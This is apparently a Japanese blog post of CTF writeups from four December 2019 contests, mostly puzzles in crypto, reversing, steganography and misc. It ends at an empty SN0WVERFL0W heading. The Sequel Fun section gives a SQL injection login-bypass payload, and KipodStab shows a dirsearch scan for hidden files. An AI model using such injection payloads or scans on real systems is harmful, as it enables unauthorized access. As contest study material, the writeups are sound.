Inferno CTF 2019 Writeup

この大会は2019/12/27 19:30(JST)~2019/12/28 15:30(JST)に開催されました。
今回もチームで参戦。結果は946点で485チーム中85位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (Misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

infernoCTF{Y0u_sh4ll_R0t_1n_h3ll_n0w}

Color Blind (Misc)

pngが添付されている。RGBをASCIIコードとして文字にし、つなげる。

from PIL import Image

img = Image.open('colorblind.png').convert('RGB')
w, h = img.size

msg = ''
for y in range(0, h):
    for x in range(0, w):
        r, g, b = img.getpixel((x, y))
        msg += chr(r) + chr(g) + chr(b)

print msg

実行結果は以下の通り。

blahblahblah_hello_how_are_you_today_i_hope_you_are_not_doing_this_manually_infernoCTF{h3y_100k_y0u_4r3_n07_h3x_bl1nD_:O}_doing_this_manually_would_be_a_bad_idea_you_shouldnt_do_it_manually_ok
infernoCTF{h3y_100k_y0u_4r3_n07_h3x_bl1nD_:O}

Where did he GO? (Reversing)

処理を見てみると、jai_ram_ji_ki関数もmandir_wahi_banega関数も簡単に言えば逆順にしているだけ。これを元にフラグを求める。

enc = [33,33,116,65,51,114,71,95,115,49,95,103,110,49,77,77,97,82,103,48,114,80,95,48,103]

dec = ''
for e in enc:
    dec += chr(e)

flag = 'infernoCTF{%s}' % dec[::-1]
print flag
infernoCTF{g0_Pr0gRaMM1ng_1s_Gr3At!!}

Really Secure Algorithm Again (Crypto)

factordbでNを素因数分解する。

25693197123978473 = 150758089 * 170426657

あとはそのまま各要素を復号して文字にしたものをつなげればよい。

from Crypto.Util.number import *

e = 65537
N = 25693197123978473
enc_flag = ['0x2135d36aa0c278', '0x3e8f43212dafd7', '0x7a240c1672358', '0x37677cfb281b26', '0x26f90fe5a4bed0', '0xb0e1c482daf4', '0x59c069723a4e4b', '0x8cec977d4159']

p = 150758089
q = 170426657
phi = (p - 1) * (q - 1)
d = inverse(e, phi)

flag = ''
for hex_c in enc_flag:
    c = int(hex_c, 16)
    m = pow(c, d, N)
    flag += long_to_bytes(m)

print flag
infernoCTF{RSA_k3yS_t00_SmAll}

Feedback (Misc)

アンケートに答えたら、フラグが表示された。

infernoCTF{Th4nks_f0r_th3_f33db4ck!!}

OverTheWire Advent Bonanza 2019 Writeup

この大会は2019/12/1 21:00(JST)~2019/12/26 21:00(JST)に開催されました。
今回もチームで参戦。結果は428点で948チーム中136位でした。
自分で解けた問題をWriteupとして書いておきます。

Santaty flag (misc)

Discordに入って#advent-2019チャネルを見ると、トピックにフラグが書いてあった。

General CTF Discussion - bridged with #advent on OverTheWire.org IRC -- Santaty Flag: AOTW{Testing123}
AOTW{Testing123}

7110 (keylogger, programming)

ガラケーキーパッドのログがついているので、復元する問題。101はDelete、102は左、103は右に移動する。時間が1000開いている場合は次の文字入力になっていると判断すると、入力文字を復元することができる。

KEY_ZERO  = ' 0'
KEY_ONE   = '.,\'?!"1-()@/:'
KEY_TWO   = 'abc2'
KEY_THREE = 'def3'
KEY_FOUR  = 'ghi4'
KEY_FIVE  = 'jkl5'
KEY_SIX   = 'mno6'
KEY_SEVEN = 'pqrs7'
KEY_EIGHT = 'tuv8'
KEY_NINE  = 'wxyz9'
KEY_STAR  = '@/:_;+&%*[]{}'

def get_chr(key, count):
    if key == '0':
        return KEY_ZERO[(count-1)%len(KEY_ZERO)]
    elif key == '1':
        return KEY_ONE[(count-1)%len(KEY_ONE)]
    elif key == '2':
        return KEY_TWO[(count-1)%len(KEY_TWO)]
    elif key == '3':
        return KEY_THREE[(count-1)%len(KEY_THREE)]
    elif key == '4':
        return KEY_FOUR[(count-1)%len(KEY_FOUR)]
    elif key == '5':
        return KEY_FIVE[(count-1)%len(KEY_FIVE)]
    elif key == '6':
        return KEY_SIX[(count-1)%len(KEY_SIX)]
    elif key == '7':
        return KEY_SEVEN[(count-1)%len(KEY_SEVEN)]
    elif key == '8':
        return KEY_EIGHT[(count-1)%len(KEY_EIGHT)]
    elif key == '9':
        return KEY_NINE[(count-1)%len(KEY_NINE)]
    elif key == '10':
        return KEY_STAR[(count-1)%len(KEY_STAR)]

with open('sms4.csv', 'r') as f:
    lines = f.readlines()[6:-17]

pre_time = 0
msg = [''] * 1024
cur_key = '11'
cur_count = 1
index = 0

for line in lines:
    csv = line.rstrip()
    cur_time = int(csv.split(',')[0])
    key = csv.split(',')[1]
    if int(key) <= 10:
        if cur_key == '11':
            cur_key = key
            cur_count = 1
        elif key != cur_key:
            if int(cur_key) <= 10:
                char = get_chr(cur_key, cur_count)
                msg.insert(index, char)
                index += 1
            elif cur_key == '101':
                del msg[index]
            elif cur_key == '102':
                index -= 0
            elif cur_key == '103':
                index += 2
            cur_key = key
            cur_count = 1
        elif cur_time - pre_time > 1000:
            char = get_chr(cur_key, cur_count)
            msg.insert(index, char)
            index += 1
            cur_key = key
            cur_count = 1
        else:
            cur_count += 1
    else:
        if int(cur_key) <= 10:
            char = get_chr(cur_key, cur_count)
            msg.insert(index, char)
        else:
            if cur_key == '101':
                del msg[index]
                index -= 1
            elif cur_key == '102':
                index -= 1
            elif cur_key == '103':
                index += 1
        cur_count = 1
        cur_key = key

    pre_time = cur_time

char = get_chr(cur_key, cur_count)
msg.insert(index, char)
msg = ''.join(msg)
print msg

実行結果は以下の通り。

alright pal heres ye flag good luck entering it with those hooves lol its aotw{l3ts_dr1nk_s0m3_eggn0g_y0u_cr4zy_d33r}
AOTW{l3ts_dr1nk_s0m3_eggn0g_y0u_cr4zy_d33r}

Sudo Sudoku (misc, sudoku)

Sudokuのルールなど条件を指定して、z3で解く。フラグは左上から時計回りに外周の数字を並べて、フラグの形式にしたもの。

from z3 import *

#### Rules of Sudoku ####
def betweenOneToNine(val, s):
    for i in range(n):
        for j in range(n):
            s.add(1 <= val[i][j], val[i][j] <= n)

def distinctRow(val, s):
    for i in range(n):
        tmpList = []
        for j in range(n):
            tmpList.append(val[i][j])
        s.add(Distinct(tmpList))

def distinctColumn(val, s):
    for i in range(n):
        tmpList = []
        for j in range(n):
            tmpList.append(val[j][i])
        s.add(Distinct(tmpList))

def distinctBlock(val, s):
    for k in range(3):
        for l in range(3):
            tmpList = []
            for i in range(3):
                for j in range(3):
                    tmpList.append(val[3*k+i][3*l+j])
            s.add(Distinct(tmpList))

#### Set known numbers ####
def setNum(val,s,x,y,num):
    s.add(val[x-1][y-1] == num)

def condition1(val, s):
    setNum(val, s, 1, 9, 1)
    setNum(val, s, 2, 2, 1)
    setNum(val, s, 2, 3, 2)
    setNum(val, s, 3, 7, 2)
    setNum(val, s, 4, 9, 2)
    setNum(val, s, 5, 2, 2)
    setNum(val, s, 7, 7, 1)
    setNum(val, s, 8, 1, 1)
    setNum(val, s, 8, 6, 2)
    setNum(val, s, 9, 4, 1)


#### Add other conditions ####
def condition2(val, s):
    s.add(val[1][8] + val[1][7] + val[2][0] + val[7][3] + val[7][3] == 23)
    s.add(val[0][4] + val[3][6] + val[8][4] + val[6][7] + val[1][2] + val[0][4] == 19)
    s.add(val[8][1] + val[8][2] + val[5][1] + val[4][8] == 15)
    s.add(val[8][6] + val[7][7] + val[2][1] + val[3][8] == 26)
    s.add(val[8][5] + val[0][4] + val[8][2] + val[1][7] + val[2][2] == 20)
    s.add(val[8][6] + val[3][8] + val[1][5] + val[0][7] + val[0][2] + val[2][3] == 27)
    s.add(val[2][6] + val[7][8] + val[8][6] + val[1][1] + val[7][7] + val[6][2] == 31)
    s.add(val[3][2] + val[8][7] + val[0][3] + val[8][5] == 27)
    s.add(val[5][4] + val[1][7] + val[5][7] + val[8][6] + val[5][0] == 33)
    s.add(val[0][1] + val[0][7] + val[3][6] + val[4][3] == 21)
    s.add(val[2][0] + val[8][3] + val[2][1] + val[8][0] + val[0][3] == 20)
    s.add(val[5][7] + val[2][0] + val[5][5] + val[3][2] + val[1][5] == 25)

#### n * n values ####
n = 9
val = [[Int("val[%d,%d]" % (i,j)) for j in range(n)] for i in range(n)]
s = Solver()

#### add conditions ####
betweenOneToNine(val, s)
distinctRow(val, s)
distinctColumn(val, s)
distinctBlock(val, s)
condition1(val, s)
condition2(val, s)

#### solve ####
r = s.check()
if r == sat:
    m = s.model()
    for i in range(n):
        for j in range(n):
            print('%d' % m[val[i][j]].as_long()),
        print
else:
    print(r)

#### print flag ####
flag = ''
i = 0
j = 0
while j < n - 1:
     flag += str(m[val[i][j]].as_long())
     j += 1
while i < n - 1:
     flag += str(m[val[i][j]].as_long())
     i += 1
while j > 0:
     flag += str(m[val[i][j]].as_long())
     j -= 1
while i > 0:
     flag += str(m[val[i][j]].as_long())
     i -= 1

flag = 'AOTW{%s}' % flag
print flag

実行結果は以下の通り。

8 6 4 7 2 9 5 3 1
9 1 2 4 5 3 7 6 8
3 7 5 6 1 8 2 4 9
6 4 9 8 7 5 3 1 2
7 2 1 9 3 6 8 5 4
5 3 8 2 4 1 6 9 7
4 8 6 5 9 7 1 2 3
1 9 7 3 6 2 4 8 5
2 5 3 1 8 4 9 7 6
AOTW{86472953189247356794813521457639}
AOTW{86472953189247356794813521457639}

Easter Egg 2 (fun)

問題が増えるとき(?)に出現するっぽい画像(以下のURL)にアクセスする。

https://advent2019.overthewire.org/static/img/transparent-santa-gif-flying.gif

レスポンスヘッダに以下が設定されている。

X-EasterEgg2: ==QftRHdz8VZydmZuNzXhJ3MxcGMltnSHJkT

base64文字列が反転されているので、反転してデコードする。

$ echo ==QftRHdz8VZydmZuNzXhJ3MxcGMltnSHJkT | rev | base64 -d
NBGJ{e0g13ra_3nfgre_3ttm}

さらにROT13のデコードをする。

$ echo ==QftRHdz8VZydmZuNzXhJ3MxcGMltnSHJkT | rev | base64 -d | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
AOTW{r0t13en_3aster_3ggz}
AOTW{r0t13en_3aster_3ggz}

Santa's Signature (crypto)

$ nc 3.93.128.89 1219
Dear Santa,
Last christmas you gave me your public key,
to confirm it really is you please sign three
different messages with your private key.

Here is the public key you gave me:
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAu1jb39GZlWh9XPpOHmaa
ZEYrbNqa6KMf4E211NYklZytuRBQy71zOI8V9O7i12C4hjhoAzj8JnXkpFur7w3z
PLimVB/B+KfQq3fo5YqWzVhi06LuuCvyGwkWSO3K2sMyH3ISKlPKlyVzhr/9qeHR
2gbFXK6so8rHXpZGgSJk5TimuY4yb+TNjpfi4srQIyepVPCjECs4n+Ii941c+7KW
2wScAUk7MuMExuKuNvvKeTZdhQeq/ZCd0otascBXk9GmsBx0eVBzG8/94Hm+9egl
eQu1DqLn/HZovaAcyIbqjunuB/KoM76DISjhmcaRyipafEJm+u9/jPHAG+8dLUuc
Wr+04D9iAFBEt5XBA2u3WaaL4/eP7hR5mR9QOxH8YilpttfQJY/78AXo+GJtECTF
LJ7zRyP1Jq89qdySJVumxwZmKP3sE7mojTb2030TDF/27v+vMVVtczyAQdybDHzj
8ainHn2SP3yTTOnjNTuGWvIcs3Qa4bv78ezTmLofpsZLoRbcx5FV2YXuiao8ezD/
WBuIOlDZhqRiods3LN8x7gNQo8zDmwY0Z54oac2dPgIUr1AvnDbEGdqyCyJRIrnW
kLFMXdy2GJLSFMk+rswORKEtojCmqQIydW7+5M4J4FhVNyVtNuPcLfUjF+e5+V5E
+piEcAsCnQ1k9QHGZAuVxX8CAwEAAQ==
-----END PUBLIC KEY-----
Message 1 you signed (hex encoded):12
Signature 1:1
Looks like you aren't Santa after all!

RSA署名で暗号と平文の組を3パターン答えればよいだけ。

import socket
from Crypto.PublicKey import RSA

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

sc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sc.connect(('3.93.128.89', 1219))

data = recvuntil(sc, 'END PUBLIC KEY-----\n').rstrip()
print data

pub_pem = '\n'.join(data.split('\n')[6:])
pub_key = RSA.importKey(pub_pem)
n = pub_key.n
e = pub_key.e

for i in range(1, 4):
    m = hex(pow(i, e, n))[2:].rstrip('L')
    s = i
    data = recvuntil(sc, '(hex encoded):')
    print data + str(m)
    sc.sendall(str(m) + '\n')
    data = recvuntil(sc, ':')
    print data + str(s)
    sc.sendall(str(s) + '\n')

data = recvuntil(sc, '\n').rstrip()
print data
data = recvuntil(sc, '\n').rstrip()
print data

実行結果は以下の通り。

Dear Santa,
Last christmas you gave me your public key,
to confirm it really is you please sign three
different messages with your private key.

Here is the public key you gave me:
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAu1jb39GZlWh9XPpOHmaa
ZEYrbNqa6KMf4E211NYklZytuRBQy71zOI8V9O7i12C4hjhoAzj8JnXkpFur7w3z
PLimVB/B+KfQq3fo5YqWzVhi06LuuCvyGwkWSO3K2sMyH3ISKlPKlyVzhr/9qeHR
2gbFXK6so8rHXpZGgSJk5TimuY4yb+TNjpfi4srQIyepVPCjECs4n+Ii941c+7KW
2wScAUk7MuMExuKuNvvKeTZdhQeq/ZCd0otascBXk9GmsBx0eVBzG8/94Hm+9egl
eQu1DqLn/HZovaAcyIbqjunuB/KoM76DISjhmcaRyipafEJm+u9/jPHAG+8dLUuc
Wr+04D9iAFBEt5XBA2u3WaaL4/eP7hR5mR9QOxH8YilpttfQJY/78AXo+GJtECTF
LJ7zRyP1Jq89qdySJVumxwZmKP3sE7mojTb2030TDF/27v+vMVVtczyAQdybDHzj
8ainHn2SP3yTTOnjNTuGWvIcs3Qa4bv78ezTmLofpsZLoRbcx5FV2YXuiao8ezD/
WBuIOlDZhqRiods3LN8x7gNQo8zDmwY0Z54oac2dPgIUr1AvnDbEGdqyCyJRIrnW
kLFMXdy2GJLSFMk+rswORKEtojCmqQIydW7+5M4J4FhVNyVtNuPcLfUjF+e5+V5E
+piEcAsCnQ1k9QHGZAuVxX8CAwEAAQ==
-----END PUBLIC KEY-----
Message 1 you signed (hex encoded):1
Signature 1:1
Message 2 you signed (hex encoded):5bf10144e9e96f26774f5750df1083d68ee461e4e4932291b0a511c5f2f8860db89470008ed3971b92d91a8b6ec8bc122f1ca5f3beb7533b014604f633da5b83ebed3d8f092f0636b50e62a492a407c35357b30815b78c55a5dcf40ce5b94cf8b6aebc67a596e56ea171f938e27671a4dae3d2dc9ae3f79624579123a166e5745c24799f490e5d8e2d00709445366c9278ed65aff3930daa5aeeab58ea566b636e7f72973ab9ed7b0af698fb3dc9ea5c2d4ebc330a7ef06fa457ff27f6f697fb047b8046f2e801b97e7d753ef8c07089082ff1e1f8bea9ff1c8023f054f0640f109c5aa055e96743cb09d07651334c483ebdebe8482e7a723ee308d6f7398fa792461badea070b2cf2c850ad20dd236f7ed6832702c27896c408ff34716215e0d9e9907e0b9ce9fb08f8c0b81619255eff9d046ca1d665b355e948e3e6cf5a377ac3e09f73c008a07975e20ed164458deee1cd019d6a9eb64e1472fa40388fec77c16ed57147cbc193477923eb5d6ac352d65e0934f815c5915608855959b5e28b425f9b1fbd42348c6128efe1307c9bc1fd8df8b2ac6911f3905be0d6bbdc11c8a7b50c800879f4665a7cd241230805173e9a88b90d95246fd7d1056c7bcdb66f6f096321c07a978720ba8a38114331e2539fd54fe484c093becdcbe38f16120f356b330de703835efc5421e39124ccb4d289e94cfc9fb5f0d846b8cd94a577
Signature 2:2
Message 3 you signed (hex encoded):4ae2bad4c417894d61336509fd5bbed5d698d2dd666dd4b3e022f022a99ca96963b22a582227634b328b7a209ebaaa8dfc026193f542706cce3b517df79314c0cfd2932d8a342361e902717145c66965d289b3dc175a26546a7860bb0f6c7894ae741a6c8793c796d267f67680c8a19375cfbad66346327def10a499ee9b70ba1eb8a74c52ddd70dae2e7f3bbedaa1f24d497d7382dbca8ba2f091f054bcfd6edb69f1ba0f43195c23edf288bf0694980d38f3df75c5eaafc2e3ca21a92b8d896b2e20e9ddc7e64817dbc6c92b856cd3184468093e2cab9bb004ffcd376e8bd08261673e9a9fd70e003f255cf76628d446cc343ae8d2b5f2396266e8845087e31e046039363b90aba5cb63dbb84eac5bdd0016e72ed3e32c06b1fe82f317f5bfe629a989b8b3df614f501305055a4806fdbc1a37dedbd1cba85205f1391be9bcfdfd9d4947568ed3d0f9cfb09443f8bc757addb2da4d9e6e6f0fd152d3c82c0771a379236d94aabe9ad9309b2486dd5927c2a5fcc4ace15217cae3bd7842e6eaaf3b82869c0caf5c2415ab5f66488607d21ca520a5818b262274997d44dfd27dbc7e9ce27445f57f8dcb8164fec46842e19eb686682446f1ed2c36218794e9447133ff0e883e91e874f9597704d6776aa686cd328080343014423963ae23ba4884d9df62f5694a3aeb1c7ccef01465ebef2db366fd70fb6a7cd260cef9c46797
Signature 3:3
Hello Santa, here is your flag:
AOTW{RSA_3dg3_c4s3s_ftw}
AOTW{RSA_3dg3_c4s3s_ftw}

Survey (misc)

アンケートに答えたら、フラグが表示された。

AOTW{Surv3y5_5h0w_7h4t_5urv3ys_n3v3r_l13}

KipodAfterFree CTF Writeup

この大会は2019/12/21 1:00(JST)~2019/12/26 1:00(JST)に開催されました。
今回もチームで参戦。結果は81点で627チーム中90位でした。
自分で解けた問題をWriteupとして書いておきます。

Not A Flag (Misc 1)

Discordに入り、#informationタグを見ると、メッセージにフラグが書いてあった。

KAF{D1SC0RD_1S_9R3A7}

Tupper needs help (Misc 5)

タッパーの自己言及式の問題。https://takitamblog.tk/skrypty/Tupper/でkの値を入力し、グラフに表示させる。さらにGraph options and functionsで、Flip verticallyとFlip horizontallyを使って向きを変えると、フラグが表示された。
f:id:satou-y:20191230125532p:plain

KAF{MY_KIPOD_IS_HUGE}

SmellyOnion (Misc 10)

$ file onion
onion: Zip archive data, at least v2.0 to extract
$ unzip onion
Archive:  onion
4b
  inflating: 80                      
$ unzip 80
Archive:  80
41
  inflating: 62                      
$ unzip 62
Archive:  62
46
  inflating: 53

何重にもZIP圧縮されていて、ZIPコメントにフラグの各文字のASCIIコードが16進数で入っている。それを文字にしてつなげていく。

import zipfile

name = 'onion'

flag = ''
while True:
    try:
        with zipfile.ZipFile(name) as zf:
            flag += chr(int(zf.comment, 16))
            name = zf.namelist()[0]
            zf.extractall('')
    except:
        break

print flag
KAF{21P_PH1L32_R_AW3S0M3_D0NT_Y0U_TH1NK}

Dinary (Misc 15)

Stegsolveで開き、[Analyze]-[Data Extract]でRedのLSBにチェックを入れて、Previewを見る。すると文章が出てきて、フラグが書いてあった。

Hello World!, Yesterday my kipod went free and i can't find him! KAF{wh3r3_1s_my_k1p0d?}
Maybe YOU can help me find my kipod? (his name is "Fibon")
Hope you'll find him, he should go on a tour really soon.
KAF{wh3r3_1s_my_k1p0d?}

KipodStab (Web 5)

Apacheのデフォルト画面になっている。よくあるファイル、ディレクトリを探索してみる。

$ python3 dirsearch.py -u http://ctf.kaf.sh:3040/ -e php,html,txt

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: php, html, txt | HTTP method: get | Threads: 10 | Wordlist size: 6719

Error Log: /mnt/hgsf/Shared/logs/errors-19-12-25_12-44-54.log

Target: http://ctf.kaf.sh:3040/

[12:44:54] Starting: 
[12:45:03] 403 -  199B  - /.ht_wsr.txt
[12:45:03] 403 -  199B  - /.hta
[12:45:03] 403 -  199B  - /.htaccess-dev
[12:45:03] 403 -  199B  - /.htaccess-marco
[12:45:03] 403 -  199B  - /.htaccess.BAK
[12:45:03] 403 -  199B  - /.htaccess-local
[12:45:03] 403 -  199B  - /.htaccess.bak1
[12:45:03] 403 -  199B  - /.htaccess.orig
[12:45:03] 403 -  199B  - /.htaccess.old
[12:45:03] 403 -  199B  - /.htaccess.sample
[12:45:03] 403 -  199B  - /.htaccess.save
[12:45:03] 403 -  199B  - /.htaccess_orig
[12:45:03] 403 -  199B  - /.htaccess_sc
[12:45:03] 403 -  199B  - /.htaccess.txt
[12:45:03] 403 -  199B  - /.htaccessBAK
[12:45:03] 403 -  199B  - /.htaccessOLD
[12:45:03] 403 -  199B  - /.htaccessOLD2
[12:45:03] 403 -  199B  - /.htaccess_extra
[12:45:03] 403 -  199B  - /.htaccess~
[12:45:03] 403 -  199B  - /.htgroup
[12:45:04] 403 -  199B  - /.htpasswd-old
[12:45:04] 403 -  199B  - /.htpasswd_test
[12:45:04] 403 -  199B  - /.htpasswds
[12:45:04] 403 -  199B  - /.htusers
[12:46:50] 200 -  107B  - /Dockerfile
[12:47:09] 301 -  237B  - /icons  ->  http://ctf.kaf.sh:3040/icons/
[12:47:13] 200 -    9KB - /index.html

Task Completed

Dockerfileはアクセスできそう。

$ curl http://ctf.kaf.sh:3040/Dockerfile
FROM httpd:alpine

WORKDIR /usr/local/apache2/htdocs/

COPY . .

# Flag is KAF{dOn7_5748_doCK3R_CON741n3R2}
KAF{dOn7_5748_doCK3R_CON741n3R2}

BackHash (Crypto 10)

ハッシュの結果にf1a9が含まれていると、フラグに置き換えられるらしい。いろいろ試したところ、入力文字長によりハッシュのアルゴリズムが変わる。

長さ % 3 == 0 の場合
md5

長さ % 3 == 1 の場合
sha1 -> md5

長さ % 3 == 2 の場合
base64 -> sha1 -> md5

ブルートフォースで条件を満たすものを探す。

from hashlib import md5, sha1
from base64 import b64encode
import string
import itertools

found = False
for r in range(1, 5):
    for c in itertools.product(string.printable, repeat=r):
        text = ''.join(c)
        if r % 3 == 0:
            h = md5(text).hexdigest()
        elif r % 3 == 1:
            h = md5(sha1(text).hexdigest()).hexdigest()
        else:
            h = md5(sha1(b64encode(text)).hexdigest()).hexdigest()
        if 'f1a9' in h:
            found = True
            print '"' + text + '"'
            print h
            break
    if found:
        break

実行結果は以下の通り。

"A "
78f1a945e13a76042a4f9c6a5570197f

"A "("を除く)を入力すると、フラグが表示された。
f:id:satou-y:20191230130319p:plain

KAF{Dn4k_f1a9z___much_f1a9_l0t5_h4ppy}

SmpleKye (Crypto 10)

AA  :提示された2文字
BBB+:入力文字3文字以上

AABBB+のsha256に、BBB+と同じ値が入っているとフラグが表示されるらしい。ブルートフォースで条件を満たすものを探す。この際、短い文字列で見つからない場合はAAを別の値にして再度試す。
以下は4dが提示されたときのコード。

from hashlib import sha256
import string
import itertools

found = False
for r in range(3, 6):
    for c in itertools.product(string.hexdigits[:16], repeat=r):
        text = '4d' + ''.join(c)
        h = sha256(text).hexdigest()
        if text in h:
            found = True
            print '"' + text + '"'
            print h
            break
    if found:
        break

実行結果は以下の通り。

"4d626d"
8790967735e5eccadbd6100f389e2cd1b3a839dab2a4d626d78c7835dd598e40

626dを入力すると、フラグが表示された。
f:id:satou-y:20191230130602p:plain

KAF{ju57_4_51mpl3_pr00F_0F_w0Rk}

X-MAS CTF 2019 Writeup

この大会は2019/12/14 4:00(JST)~2019/12/21 4:00(JST)に開催されました。
今回もチームで参戦。結果は156点で1744チーム中480位でした。
自分で解けた問題をWriteupとして書いておきます。

Merry Christmas! (!Sanity Checks)

白文字でフラグが書いてある。

X-MAS{HoHoHo__W3lc0me_T0_X-MAS_CTF_2019!}

Santa's Secret Club (!Sanity Checks)

Discordに入り、#generalチャネルのトピックを見ると、フラグが書いてある。

Merry Christmas! X-MAS CTF Starts on 13th of december
X-MAS{J0in_S4nt4's_Secr3t_Club__W3_h4ve_cooki3s}
X-MAS{J0in_S4nt4's_Secr3t_Club__W3_h4ve_cooki3s}

Sequel Fun (Web Exploitation)

HTMLソースを見ると、こんなコメントがある。

<!-- ?source=1 -->

http://challs.xmas.htsp.ro:11006/?source=1にアクセスする。

<?php
if (isset ($_GET['source'])) {
  show_source ("index.php");
  die ();
}
?>

<head>
  <link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<div class="container">

<?php
include ("config.php");
if (isset ($_GET['user']) && isset ($_GET['pass'])) {
  $user = $_GET['user'];
  $pass = $_GET['pass'];
  if (strpos ($user, '1') === false && strpos ($pass, '1') === false) {
    $conn = new mysqli ($servername, $username, $password, $dbname);
    $result = mysqli_query ($conn, "SELECT * FROM users WHERE user='" . $user . "' AND pass='" . $pass . "'", MYSQLI_STORE_RESULT); // TO-DO: Remove elf:elf account

    if ($result === false) {
      echo "<b>Our servers have run into a query error. Please try again later.</b>";
    } else {
      if ($result->num_rows !== 0) {
        $row = mysqli_fetch_array ($result, MYSQLI_ASSOC);

        echo "<h1>You are logged in as: " . $row["user"] . "</h1><br>";

        echo "<b class='flag'>";
        if ($row ["uid"] === "0")
          echo $flag;
        else
          echo "Welcome elf!";
        echo "</b>";

      } else {
        echo "<b>Login fail.</b>";
      }
    }
  } else {
    echo "<b>I don't like the number 1 :(</b>";
  }
} else {
  echo '<form class="center">
    <h1>Santa Login:</h1>
    <label>Username:</label> <input type="text" name="user" autocomplete="off"><br>
    <label>Password:</label> <input type="password" name="pass" autocomplete="off"><br>
    <input type="submit" value="Connect">
  </form>';
}
?>

</div>
<br>

<script src="/js/snow.js"></script>

<!-- ?source=1 -->

</body>

このソースコードから、以下の条件を満たすと、フラグが表示されるはず。

・userもpassも"1"が含まれない。
・uidが0

この条件を満たすように、以下を入力してログインしたらフラグが表示された。

user: a
pass: a' union select 0, 'admin', 'pass
X-MAS{S0_1_c4n_b3_4dmin_w1th0ut_7h3_p4ssw0rd?}

Santa's crackme (Reverse Engineering)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  uint uVar1;
  byte local_7a;
  undefined local_79;
  byte local_78 [104];
  int local_10;
  uint local_c;
  
  printf("Enter your license key: ");
  __isoc99_scanf("%100s",local_78);
  local_c = 0;
  local_10 = 0;
  while (local_78[(long)local_10] != 0) {
    local_7a = local_78[(long)local_10] ^ 3;
    local_79 = 0;
    uVar1 = strcmp((char *)&local_7a,flag_matrix + (long)local_10 * 2);
    local_c = local_c | uVar1;
    local_10 = local_10 + 1;
  }
  if (local_c == 0) {
    puts("License key is correct");
  }
  else {
    puts("License key is incorrect");
  }
  return 0;
}

flag_matrixはこのようになっている。

                             flag_matrix                                     XREF[2]:     Entry Point(*), main:004011af(*)  
        00404060 5b 00 2e        undefine
                 00 4e 00 
                 42 00 50 
           00404060 5b              undefined15Bh                     [0]                               XREF[2]:     Entry Point(*), main:004011af(*)  
           00404061 00              undefined100h                     [1]
           00404062 2e              undefined12Eh                     [2]
           00404063 00              undefined100h                     [3]
           00404064 4e              undefined14Eh                     [4]
           00404065 00              undefined100h                     [5]
           00404066 42              undefined142h                     [6]
           00404067 00              undefined100h                     [7]
           00404068 50              undefined150h                     [8]
           00404069 00              undefined100h                     [9]
           0040406a 78              undefined178h                     [10]
           0040406b 00              undefined100h                     [11]
           0040406c 36              undefined136h                     [12]
           0040406d 00              undefined100h                     [13]
           0040406e 37              undefined137h                     [14]
           0040406f 00              undefined100h                     [15]
           00404070 6d              undefined16Dh                     [16]
           00404071 00              undefined100h                     [17]
           00404072 34              undefined134h                     [18]
           00404073 00              undefined100h                     [19]
           00404074 37              undefined137h                     [20]
           00404075 00              undefined100h                     [21]
           00404076 5c              undefined15Ch                     [22]
           00404077 00              undefined100h                     [23]
           00404078 32              undefined132h                     [24]
           00404079 00              undefined100h                     [25]
           0040407a 36              undefined136h                     [26]
           0040407b 00              undefined100h                     [27]
           0040407c 5c              undefined15Ch                     [28]
           0040407d 00              undefined100h                     [29]
           0040407e 61              undefined161h                     [30]
           0040407f 00              undefined100h                     [31]
           00404080 37              undefined137h                     [32]
           00404081 00              undefined100h                     [33]
           00404082 67              undefined167h                     [34]
           00404083 00              undefined100h                     [35]
           00404084 5c              undefined15Ch                     [36]
           00404085 00              undefined100h                     [37]
           00404086 37              undefined137h                     [38]
           00404087 00              undefined100h                     [39]
           00404088 34              undefined134h                     [40]
           00404089 00              undefined100h                     [41]
           0040408a 5c              undefined15Ch                     [42]
           0040408b 00              undefined100h                     [43]
           0040408c 6f              undefined16Fh                     [44]
           0040408d 00              undefined100h                     [45]
           0040408e 32              undefined132h                     [46]
           0040408f 00              undefined100h                     [47]
           00404090 60              undefined160h                     [48]
           00404091 00              undefined100h                     [49]
           00404092 30              undefined130h                     [50]
           00404093 00              undefined100h                     [51]
           00404094 6d              undefined16Dh                     [52]
           00404095 00              undefined100h                     [53]
           00404096 36              undefined136h                     [54]
           00404097 00              undefined100h                     [55]
           00404098 30              undefined130h                     [56]
           00404099 00              undefined100h                     [57]
           0040409a 5c              undefined15Ch                     [58]
           0040409b 00              undefined100h                     [59]
           0040409c 60              undefined160h                     [60]
           0040409d 00              undefined100h                     [61]
           0040409e 6b              undefined16Bh                     [62]
           0040409f 00              undefined100h                     [63]
           004040a0 30              undefined130h                     [64]
           004040a1 00              undefined100h                     [65]
           004040a2 60              undefined160h                     [66]
           004040a3 00              undefined100h                     [67]
           004040a4 68              undefined168h                     [68]
           004040a5 00              undefined100h                     [69]
           004040a6 32              undefined132h                     [70]
           004040a7 00              undefined100h                     [71]
           004040a8 6d              undefined16Dh                     [72]
           004040a9 00              undefined100h                     [73]
           004040aa 35              undefined135h                     [74]
           004040ab 00              undefined100h                     [75]
           004040ac 7e              undefined17Eh                     [76]
           004040ad 00              undefined100h                     [77]

flag_matrix を1バイト飛ばしで、3とのXORを取ればよい。

flag_matrix = [0x5b, 0x2e, 0x4e, 0x42, 0x50, 0x78, 0x36, 0x37, 0x6d, 0x34,
    0x37, 0x5c, 0x32, 0x36, 0x5c, 0x61, 0x37, 0x67, 0x5c, 0x37, 0x34, 0x5c,
    0x6f, 0x32, 0x60, 0x30, 0x6d, 0x36, 0x30, 0x5c, 0x60, 0x6b, 0x30, 0x60,
    0x68, 0x32, 0x6d, 0x35, 0x7e]

flag = ''
for code in flag_matrix:
    flag += chr(code ^ 3)

print flag
X-MAS{54n74_15_b4d_47_l1c3n53_ch3ck1n6}

SN0WVERFL0W (Binary Exploitation)

Ghidraでデコンパイルする。

